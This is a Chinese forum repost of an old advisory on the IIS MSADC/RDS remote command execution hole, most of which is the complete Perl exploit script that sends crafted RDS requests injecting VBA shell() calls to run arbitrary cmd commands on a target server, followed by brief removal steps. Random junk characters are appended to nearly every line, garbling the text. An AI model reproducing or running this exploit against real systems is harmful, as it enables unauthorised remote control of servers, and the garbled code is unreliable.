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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -@AGQ+e  
6eQrupa  
涉及程序: g"<kj"  
Microsoft NT server W5sVQ`S-  
7!Fu.Ps >  
描述: l1!i3m'x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 .\< \J|3  
O+(Z`,^  
详细: A:k`Ykr[  
如果你没有时间读详细内容的话,就删除: 5E~][. d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6V!yfps)  
有关的安全问题就没有了。 5tQffo8t  
>uxak2nM-  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2{ }5WH  
Bg;bBA!L  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 EYMwg_  
关于利用ODBC远程漏洞的描述,请参看: Cf8(J k`v|  
$eI[3{}X  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R"K{@8b  
{hVSVx8ZL  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :B)w0tVw  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |yw-H2k1  
Tf*X\{"  
这里不再论述。 ]+ug:E{7  
| u36-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: -O. MfI+  
, lT8gQ|u  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k' pu%nWN  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -N*g|1rpa  
!0E$9Xon  
>0B [  
#将下面这段保存为txt文件,然后: "perl -x 文件名" mqwN<:  
E$*I.i_m  
#!perl u=k\]W-  
# h.=YAcR0D  
# MSADC/RDS 'usage' (aka exploit) script 69\0$O  
# ^:LF  
# by rain.forest.puppy Po93&qE  
# B% BO  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tWL9>7]G  
# beta test and find errors! Sr%~ 5Q[W  
}+I 8l'  
use Socket; use Getopt::Std; {I`B?6K5  
getopts("e:vd:h:XR", \%args); R+rHa#M_  
.|x0du|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; I3s'44  
Mp"] =  
if (!defined $args{h} && !defined $args{R}) { v;jrAND  
print qq~ +1F@vag7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !W n'Ae9  
-h <host> = host you want to scan (ip or domain) ) Q~Q .  
-d <seconds> = delay between calls, default 1 second 32YE%  
-X = dump Index Server path table, if available 3l<)|!f]g  
-v = verbose DEqk9Exk`  
-e = external dictionary file for step 5 <f8@Qij  
.#rI9op  
Or a -R will resume a command session .oAg (@^6  
*E+) mB"~  
~; exit;} p^\>{  
w.^k':,"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6L'cD1pu  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} w[:5uo(  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} PY)C=={p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); q2&&n6PYW  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o NJ/AT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } P^VV8Z>\&  
e>sr)M  
if (!defined $args{R}){ $ret = &has_msadc; !OC?3W:^_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} LEHlfB#z`@  
QBai;p{  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Lu1>A {et  
. "cmd /c "; &{ntx~Eq  
$in=<STDIN>; chomp $in; =xai 7iM  
$command="cmd /c " . $in ; 9bqfZ"6nXY  
q\d'}:kfu  
if (defined $args{R}) {&load; exit;} b>Vs5nY!  
~EE*/vX  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; dy|r:~j3  
&try_btcustmr; )k0bP1oGS  
$o {f)'.>n  
print "\nStep 2: Trying to make our own DSN..."; AO>K 6{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ;y4 "wBX  
2$\Du9+  
print "\nStep 3: Trying known DSNs..."; q^O{LGN  
&known_dsn; g&riio7lx  
c>=[|F{{e  
print "\nStep 4: Trying known .mdbs..."; pz.<5  
&known_mdb; CZ|Y o  
> YN<~z-  
if (defined $args{e}){ ;h0?o*i_  
print "\nStep 5: Trying dictionary of DSN names..."; J|,| *t  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } vV8 y_  
0#XZ_(@%  
print "Sorry Charley...maybe next time?\n"; !{r Gt`y  
exit; )v0m7L v#/  
%|l*=v  
############################################################################## Z</$~ T  
4*F+-fu  
sub sendraw { # ripped and modded from whisker ]U'KYrh  
sleep($delay); # it's a DoS on the server! At least on mine... <@@.~Qm'  
my ($pstr)=@_; 6ZCt xs!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || DFqXZfjm  
die("Socket problems\n"); H }</a%y  
if(connect(S,pack "SnA4x8",2,80,$target)){ d&.)Dw  
select(S); $|=1; g%[lUxL  
print $pstr; my @in=<S>; 0&c12W|B<L  
select(STDOUT); close(S); ^om(6JL2  
return @in; ]7c715@  
} else { die("Can't connect...\n"); }} U*[/F)!  
GZ*cV3Y`&  
############################################################################## H.!M_aJH  
GP`_R  
sub make_header { # make the HTTP request ,58D=EgFy  
my $msadc=<<EOT Z`q?pE>R  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ;]vE"Mx$  
User-Agent: ACTIVEDATA gnx!_H\h<  
Host: $ip >`8i=ZpCOS  
Content-Length: $clen %'k^aq FL  
Connection: Keep-Alive 3 LoB-4u?  
nuhKM.a{  
ADCClientVersion:01.06 #RZW)Br  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 'd0]`2tVg4  
*,@dt+H!y  
--!ADM!ROX!YOUR!WORLD! ^5j9WV  
Content-Type: application/x-varg n\wO[l)  
Content-Length: $reqlen Z5_U D  
rjx6Ad/\  
EOT }\P9$D+  
; $msadc=~s/\n/\r\n/g; 4~DFtWbf  
return $msadc;} 4^  $  
<gQw4  
############################################################################## Da)9s %_4  
OAR#* ~q  
sub make_req { # make the RDS request 0bS\VUB(  
my ($switch, $p1, $p2)=@_; iK= {pd  
my $req=""; my $t1, $t2, $query, $dsn; W?5^cEF  
qZG "{8  
if ($switch==1){ # this is the btcustmr.mdb query vfcj,1  
$query="Select * from Customers where City=" . make_shell(); UIovv%7zZ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . YPFjAQ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} |SQ5Sb  
Et4gRS)\  
elsif ($switch==2){ # this is general make table query >Vn;1|w  
$query="create table AZZ (B int, C varchar(10))"; '@ (WT~g  
$dsn="$p1";} Ef:.)!;jy  
7b \HbgZ  
elsif ($switch==3){ # this is general exploit table query aXhgzI5]  
$query="select * from AZZ where C=" . make_shell(); 1^b-J0  
$dsn="$p1";} ,eF}`  
9JJ(KY  
elsif ($switch==4){ # attempt to hork file info from index server 3?.3Z!H/  
$query="select path from scope()"; ~4`LOROC  
$dsn="Provider=MSIDXS;";} Ca0~K42~  
?8)_,  
elsif ($switch==5){ # bad query 0!eZ&.h?4  
$query="select"; g3Xq@RAJc  
$dsn="$p1";} y4w{8;Mh  
q6%jCt2'  
$t1= make_unicode($query); /RIvUC1  
$t2= make_unicode($dsn); zdlysr#  
$req = "\x02\x00\x03\x00"; &C`t(e  
$req.= "\x08\x00" . pack ("S1", length($t1)); C;-9_;&  
$req.= "\x00\x00" . $t1 ; ^} %Oq P  
$req.= "\x08\x00" . pack ("S1", length($t2)); Rjqeuyj:  
$req.= "\x00\x00" . $t2 ; Pe EC|&x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; "\Zsr6y  
return $req;} )}0(7z Yu  
N2 wBH+3w  
############################################################################## GKTrf\"c  
/EZF5_`bT  
sub make_shell { # this makes the shell() statement :,h47'0A  
return "'|shell(\"$command\")|'";} 4onRO!G,  
Gg]>S#^3  
############################################################################## Fo|6 PoSo  
^i&sQQ( {  
sub make_unicode { # quick little function to convert to unicode "t$c'`  
my ($in)=@_; my $out; F4xYfbwY"]  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } R^.E";/h  
return $out;} UA>UW!I  
,_,Z<X/  
############################################################################## (C dx7v2Nh  
$b,o3eC  
sub rdo_success { # checks for RDO return success (this is kludge) dMK| l   
my (@in) = @_; my $base=content_start(@in); l}:&}  
if($in[$base]=~/multipart\/mixed/){ TRW{` b[  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} "CI#2tnL7  
return 0;} %SaC[9=?  
j"{|* _6E_  
############################################################################## ?W:YS82  
-r)Q|U  
sub make_dsn { # this makes a DSN for us A>8"8=C  
my @drives=("c","d","e","f"); (RW02%`jjy  
print "\nMaking DSN: "; kTZ`RW&0  
foreach $drive (@drives) { xE`uFHuS}  
print "$drive: "; 1S/KT4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vPz$jeA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Xxhzzm-B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); "#anL8  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; gVO<W.?  
return 0 if $2 eq "404"; # not found/doesn't exist -'ePx f  
if($2 eq "200") { }SpjB  
foreach $line (@results) { ?:73O`sX:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} XUTI0  
} return 0;} K:hZ  
Y7g^ ?6  
############################################################################## Q}zAC2@L  
E_ #MQ;n  
sub verify_exists { US3rkkgDO  
my ($page)=@_; ' P5t tI#|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Y%eFXYk.  
return $results[0];} M*li;  
Z7>pz:,  
############################################################################## EX zA(igS  
&Z3g$R 9  
sub try_btcustmr { YL*yiZ9  
my @drives=("c","d","e","f"); U-!+Cxjs  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .;nU" a3'  
n3Uw6gLD  
foreach $dir (@dirs) { G>"=Af(t?Y  
print "$dir -> "; # fun status so you can see progress ?XOl>IO  
foreach $drive (@drives) {  &ig6\&1  
print "$drive: "; # ditto 9+><:(,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; r:.3P  
$reqlenlen=length( "$reqlen" ); b'F#Y9  
$clen= 206 + $reqlenlen + $reqlen; R{={7.As+  
8NU<lV`  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [l"|x75-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2 |]pD  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} EMK>7 aks  
"*E06=fiG  
############################################################################## _ zM/>Qa  
nM]Sb|1:  
sub odbc_error { -!w({rP  
my (@in)=@_; my $base; qI (<5Wxl  
my $base = content_start(@in); :K J#_y\rt  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )> >Tj7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; phkfPvL{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Am>^{qh9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rZ[}vU/H`  
return $in[$base+4].$in[$base+5].$in[$base+6];} @q8h'@sX  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _OR@S%$  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l@:|OGD;8  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9Q)9*nHe  
5ZpU><y  
############################################################################## j'xk [bM  
Q)vf>LwC2S  
sub verbose { ?4QX;s7  
my ($in)=@_; ~\ uI&S5  
return if !$verbose; UqsJ44QEZ  
print STDOUT "\n$in\n";} :&59N^So|  
|t<Uh,Bt  
############################################################################## uKOsYN%D  
xb6y=L  
sub save { Tw`n3y?  
my ($p1, $p2, $p3, $p4)=@_; |/!3N  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; T-.Q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O:G5n 5J  
close OUT;} k+nfW]UNF  
:U>[*zE4&  
############################################################################## 5}v<?<l9\  
(j>a?dKDS  
sub load { 8 16OV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; A.[~}ywH  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); uC2-T5n'  
@p=<IN>; close(IN); l:'\3-2a  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '=eG[#gy  
$target= inet_aton($ip) || die("inet_aton problems"); ]; CTr0  
print "Resuming to $ip ..."; IXA3G7$)  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )P|&o%E  
if($p[1]==1) { >^odV ;^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 1ha 8)L  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 4ju=5D];   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); R}T8cVxc  
if (rdo_success(@results)){print "Success!\n";} &xgKHbg  
else { print "failed\n"; verbose(odbc_error(@results));}} -G|?Kl  
elsif ($p[1]==3){ m,3H]  
if(run_query("$p[3]")){ wR(>' ?  
print "Success!\n";} else { print "failed\n"; }} "kdmqvTHK0  
elsif ($p[1]==4){ 5w^6bw){  
if(run_query($drvst . "$p[3]")){ KFuP gp  
print "Success!\n"; } else { print "failed\n"; }} s%Y8;D,~+  
exit;} &[Zg;r    
$eSSW+8q"  
############################################################################## G*y! Q  
QT<\E`v  
sub create_table { +m>)q4e  
my ($in)=@_; 9CNeMoA$p:  
$reqlen=length( make_req(2,$in,"") ) - 28; 4S 7#B  
$reqlenlen=length( "$reqlen" ); S A\_U::T  
$clen= 206 + $reqlenlen + $reqlen; azCod1aL{  
my @results=sendraw(make_header() . make_req(2,$in,"")); m|by^40A(  
return 1 if rdo_success(@results); pl4:>4l/  
my $temp= odbc_error(@results); verbose($temp); Tu[I84  
return 1 if $temp=~/Table 'AZZ' already exists/; f_m~_`m  
return 0;} Uv|?@zy#  
<0h,{28  
############################################################################## {^ jRV@  
FpYeuH%  
sub known_dsn { 4^IqHx;bj  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go J=`2{ 'l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Rk$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", CTP!{<ii  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); tbm/gOBw  
YLU.]UC  
foreach $dSn (@dsns) { . l>.  
print "."; %p}xW V.  
next if (!is_access("DSN=$dSn")); =cwdl7N&I  
if(create_table("DSN=$dSn")){ ~:xR0dqx  
print "$dSn successful\n"; `=.A]) >  
if(run_query("DSN=$dSn")){ k>V~ iA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 86f8b{_e"  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <t"KNKI  
.Y*jL&!  
############################################################################## yBYZ?gc  
x1'4njTV$  
sub is_access { K2@],E?e%|  
my ($in)=@_; \jCN ]A<  
$reqlen=length( make_req(5,$in,"") ) - 28; )/FEjo  
$reqlenlen=length( "$reqlen" ); zPyN2|iFah  
$clen= 206 + $reqlenlen + $reqlen; $a.,; :  
my @results=sendraw(make_header() . make_req(5,$in,"")); :={rPj-nU  
my $temp= odbc_error(@results); yLY$1#Sa  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); t^|GcU]  
return 0;} G]k+0&X  
ph~ d%/^jI  
############################################################################## 6Q~(ibKx  
9lR-  
sub run_query { +zINnX  
my ($in)=@_; ~LU$ no^  
$reqlen=length( make_req(3,$in,"") ) - 28; R\Of ,  
$reqlenlen=length( "$reqlen" ); j9g0k<eg  
$clen= 206 + $reqlenlen + $reqlen; + :;6kyM6X  
my @results=sendraw(make_header() . make_req(3,$in,"")); >^bSjE  
return 1 if rdo_success(@results); ,(v=ZeI  
my $temp= odbc_error(@results); verbose($temp); 0 ~^l*  
return 0;} Qk?J4 B  
ZO*?02c  
############################################################################## .:9XpKbt  
16|miK[@  
sub known_mdb { iL8:I)z  
my @drives=("c","d","e","f","g"); n h&[e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); CSVL,(Uw  
my $dir, $drive, $mdb; B{2WvPX~q  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3\Tqs  
3( o~|%  
# this is sparse, because I don't know of many E! mxa  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 8\BYm|%aa  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FC q&-  
"\\system32\\certmdb.mdb", a?]~Sw"@  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [+(fN  
c1}i|7/XSi  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ~aL&,0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {Z_?7J&z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9|x{z  
"\\cfusion\\cfapps\\security\\realm_.mdb", xv 9 G%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", w1:%P36H  
"\\cfusion\\database\\cfexamples.mdb", j%ux,0Y  
"\\cfusion\\database\\cfsnippets.mdb", Nc\jA=  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;uyQR8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +Cs.v.GA5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >goG\y  
"\\cfusion\\database\\smpolicy.mdb", 9ohO-t$XkY  
"\\cfusion\\database\cypress.mdb", AVi,+n  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3dB{DuQ  
"\\website\\cgi-win\\dbsample.mdb", j*L-sU  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 39oI &D>8  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~zc B@; :  
); #these are just $LHF=tYS  
foreach $drive (@drives) { J"?jaa2~  
foreach $dir (@dirs){ 7z9[\]tt  
foreach $mdb (@sysmdbs) { V\P .uOI  
print "."; -5u. Ix3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8ps1Q2|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; *zl-R*bM$  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >fx/TSql:J  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 9HG"}CGZP  
} else { print "Something's borked. Use verbose next time\n"; }}}}} k!ac_}&NNv  
6T-iBJT  
foreach $drive (@drives) { wt1Y&D  
foreach $mdb (@mdbs) { ,'a[1RN  
print "."; a{+;&j[!  
if(create_table($drv . $drive . $dir . $mdb)){ NUM+tg>KM  
print "\n" . $drive . $dir . $mdb . " successful\n"; ;s!GpO7+  
if(run_query($drv . $drive . $dir . $mdb)){ \$Aw[ 5&t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; yq,%<%+  
} else { print "Something's borked. Use verbose next time\n"; }}}} .v[!_bk8C  
} }ZkGH}K_}  
7f\/cS^  
############################################################################## sV-UY!   
Z1sRLkR^  
sub hork_idx { l ^;=0UR_  
print "\nAttempting to dump Index Server tables...\n"; *$9Rb2}kK  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; KDu~,P]  
$reqlen=length( make_req(4,"","") ) - 28; b0h>q$b  
$reqlenlen=length( "$reqlen" ); `V=F>s$W  
$clen= 206 + $reqlenlen + $reqlen; Oi$$vjs2  
my @results=sendraw2(make_header() . make_req(4,"","")); ~'t+X  
if (rdo_success(@results)){ c'uDK>  
my $max=@results; my $c; my %d;  R7ExMJw  
for($c=19; $c<$max; $c++){ VNHt ]Ewj  
$results[$c]=~s/\x00//g; eJ_$Etc  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 4{#0ci{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; -|( q 9B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ggHz-oNY  
$d{"$1$2"}="";} x_OZdI  
foreach $c (keys %d){ print "$c\n"; } )!g@MHHL  
} else {print "Index server doesn't seem to be installed.\n"; }} of0 hJR  
ldNWdz  
############################################################################## ;`rz]7,*  
jGFDj"Y  
sub dsn_dict { jOU1F1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); FcmL 4^s.`  
while(<IN>){ X,ok3c4X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  "xp>Vj  
next if (!is_access("DSN=$dSn")); *%jd>e7d  
if(create_table("DSN=$dSn")){ *FC26_pH  
print "$dSn successful\n"; e*hCf5=-  
if(run_query("DSN=$dSn")){ e|Mw9DIW  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L ]QBh\  
print "Something's borked. Use verbose next time\n";}}} Yy4l -}"  
print "\n"; close(IN);} w02t9vz  
rj-Q+rgup  
############################################################################## qY|NA)E)Bp  
dY'>'1>P 9  
sub sendraw2 { # ripped and modded from whisker z:p9&mi  
sleep($delay); # it's a DoS on the server! At least on mine... >|_B=<!99W  
my ($pstr)=@_; &8@ a"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ufv0Xj  
die("Socket problems\n"); </33>Fu)  
if(connect(S,pack "SnA4x8",2,80,$target)){ Vho^a:Z9}W  
print "Connected. Getting data"; ~ _W>ND  
open(OUT,">raw.out"); my @in; [eZ'h8  
select(S); $|=1; print $pstr; q\T}jF\t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} , \R,O  
close(OUT); select(STDOUT); close(S); return @in; A^@,Ha  
} else { die("Can't connect...\n"); }} >&l{_b\k  
8I%N^G  
############################################################################## "MU)8$d  
.8/W_iC92  
sub content_start { # this will take in the server headers /<it2=  
my (@in)=@_; my $c; Zm#qW2a]P  
for ($c=1;$c<500;$c++) { brClYpp,h  
if($in[$c] =~/^\x0d\x0a/){ xD4G(]d!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `]m/za%7  
else { return $c+1; }}} =*Y=u6?  
return -1;} # it should never get here actually ~R\U1XXyUY  
vp..>BMJ  
##############################################################################  Wkc^?0p  
VO+3@d:  
sub funky { ["XS|"DM  
my (@in)=@_; my $error=odbc_error(@in); UCS`09KNJ  
if($error=~/ADO could not find the specified provider/){ 5H |<h  
print "\nServer returned an ADO miscofiguration message\nAborting.\n";  9Li.B1j  
exit;} _~_6qTv-d  
if($error=~/A Handler is required/){ WDQw)EUl&  
print "\nServer has custom handler filters (they most likely are patched)\n"; iBPx97a  
exit;} dxF/]>t  
if($error=~/specified Handler has denied Access/){ I<L<xwh1(E  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2-.%WhE/  
exit;}} }*3#*y "  
a#i%7mfn  
############################################################################## ?*A"#0  
O!.mc=Gx7  
sub has_msadc { 3:G94cp5  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); kU$M 8J.  
my $base=content_start(@results); j aq/]I7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ljRR{HOl  
return 0;} qr[+^*Ha  
DU.[Sp  
######################## R22P ol  
]#Q'~X W  
Trwk9 +  
解决方案: MtIhpTX  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ZeP3 Yjr3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 w=S7zzL)  
4Iou| H  
拿出来充数 哈哈
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